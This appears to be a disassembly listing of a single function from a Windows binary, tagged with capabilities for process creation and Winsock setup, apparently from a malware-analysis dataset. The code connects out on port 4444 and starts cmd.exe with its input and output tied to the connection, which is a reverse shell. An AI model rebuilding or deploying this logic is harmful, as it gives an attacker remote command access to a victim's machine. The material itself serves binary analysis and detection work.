Function at 0x4d8ad0
Capabilities:
Create process on windows
Create process suspended
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0xc4
call fcn.0040ad30
mov dword [ebp - 0x18], 0x7f
lea eax, [ebp - 0x7c]
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004baac0
mov dword [ebp - 0xc], 0
jmp 0x4d8b23
lea eax, [ebp - 0x7c]
mov dword [esp], 0x4e5086
mov ecx, eax
call fcn.004aa050
sub esp, 4
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 1
jle 0x4d8b0b
lea eax, [ebp - 0x7c]
mov dword [esp], 0x4e508a
mov ecx, eax
call fcn.004aa050
sub esp, 4
lea eax, [ebp - 0x4c]
mov dword [esp + 4], 0x10
mov dword [esp], 0x4e508c
mov ecx, eax
call fcn.004a6338
sub esp, 8
lea eax, [ebp - 0x64]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x4e508f
lea edx, [ebp - 0x4c]
mov dword [esp + 8], edx
lea edx, [ebp - 0x7c]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004cc8c8
lea eax, [ebp - 0x7c]
lea edx, [ebp - 0x64]
mov dword [esp], edx
mov ecx, eax
call fcn.004a9ea0
sub esp, 4
lea eax, [ebp - 0x64]
mov ecx, eax
call fcn.004a9e40
lea eax, [ebp - 0x4c]
mov ecx, eax
call fcn.004a6390
lea eax, [ebp - 0x7c]
mov ecx, eax
call fcn.0042bc80
mov dword [esp], eax
call fcn.004d7a60
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0
jmp 0x4d8beb
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0x7c]
mov dword [esp], edx
mov ecx, eax
call fcn.004aa040
sub esp, 4
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
add edx, ecx
movzx eax, byte [eax]
mov byte [edx], al
add dword [ebp - 0x10], 1
lea eax, [ebp - 0x7c]
mov ecx, eax
call fcn.0042bc80
mov edx, dword [ebp - 0x10]
cmp edx, eax
setb al
test al, al
jne 0x4d8bc7
mov word [ebp - 0x7e], 0x115c
lea eax, [ebp - 0x21]
mov dword [ebp - 0x20], eax
nop
nop
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x21]
mov dword [esp + 4], edx
mov dword [esp], 0x4e5091
mov ecx, eax
call fcn.004a9800
sub esp, 8
lea eax, [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], 0x529
call fcn.0041b01c
lea eax, [ebp - 0x3c]
mov ecx, eax
call fcn.004a9e40
lea eax, [ebp - 0x21]
mov ecx, eax
call fcn.00494a50
nop
mov dword [esp + 4], 0x4e4080
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
lea eax, [ebp - 0x8c]
mov ecx, eax
call fcn.004a533c
mov dword [ebp - 0x14], 0
jmp 0x4d8c9b
lea eax, [ebp - 0x8c]
lea edx, [ebp - 0x7e]
mov dword [esp], edx
mov ecx, eax
call fcn.004a528c
sub esp, 4
add dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
jle 0x4d8c81
call fcn.0041ad84
mov word [0x4e4044], 2
movzx eax, word [ebp - 0x7e]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [0x4e4046], ax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [0x4e4048], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x4e3aa0
call fcn.004d3f90
mov dword [esp + 4], 0x4e2320
mov dword [esp], 0x4e3aa0
call fcn.004d4290
movzx eax, word [ebp - 0x7e]
cwde
mov dword [esp], eax
call fcn.0041af04
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x4e4220
call sub.msvcrt.dll_memset
mov dword [0x4e4220], 0x44
mov dword [0x4e424c], 0x100
mov eax, dword [0x4e4054]
mov dword [0x4e4260], eax
mov eax, dword [0x4e4260]
mov dword [0x4e425c], eax
mov eax, dword [0x4e425c]
mov dword [0x4e4258], eax
mov dword [esp + 0x24], 0x4e4058
mov dword [esp + 0x20], 0x4e4220
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp], 0
call sub.msvcrt.dll_exit
nop
nop
nop
mov dword [esp], 4
call fcn.004d7b40
mov dword [eax], 0x4ef940
mov dword [esp + 8], 0x41e1d0
mov dword [esp + 4], 0x4eb8e8
mov dword [esp], eax
call fcn.004d81e0
mov dword [esp], 4
call fcn.004d7b40
mov dword [eax], 0x4ef92c
mov dword [esp + 8], 0x41e190
mov dword [esp + 4], 0x4eb8dc
mov dword [esp], eax
call fcn.004d81e0
cmp dword [0x4e2010], 0
mov ebx, eax
mov eax, dword [0x4e31c8]
je 0x4d8e62
mov dword [esp], eax
call fcn.0040c210
test eax, eax
je 0x4d8e62
mov dword [esp], 4
call fcn.004d7b40
mov dword [eax], 0x4ef940
mov dword [esp + 8], 0x41e1d0
mov dword [esp + 4], 0x4eb8e8
mov dword [esp], eax
call fcn.004d81e0
mov dword [esp], ebx
call fcn.0040ee90
mov dword [esp], 4
call fcn.004d7b40
mov ebx, eax
mov ecx, eax
call fcn.0041e0d0
mov dword [esp + 8], 0x41e110
mov dword [esp + 4], 0x4eb8c4
mov dword [esp], ebx
call fcn.004d81e0
mov dword [esp], 4
call fcn.004d7b40
mov dword [eax], 0x4ef918
mov dword [esp + 8], 0x41e150
mov dword [esp + 4], 0x4eb8d0
mov dword [esp], eax
call fcn.004d81e0
nop
nop
nop
call fcn.0041e470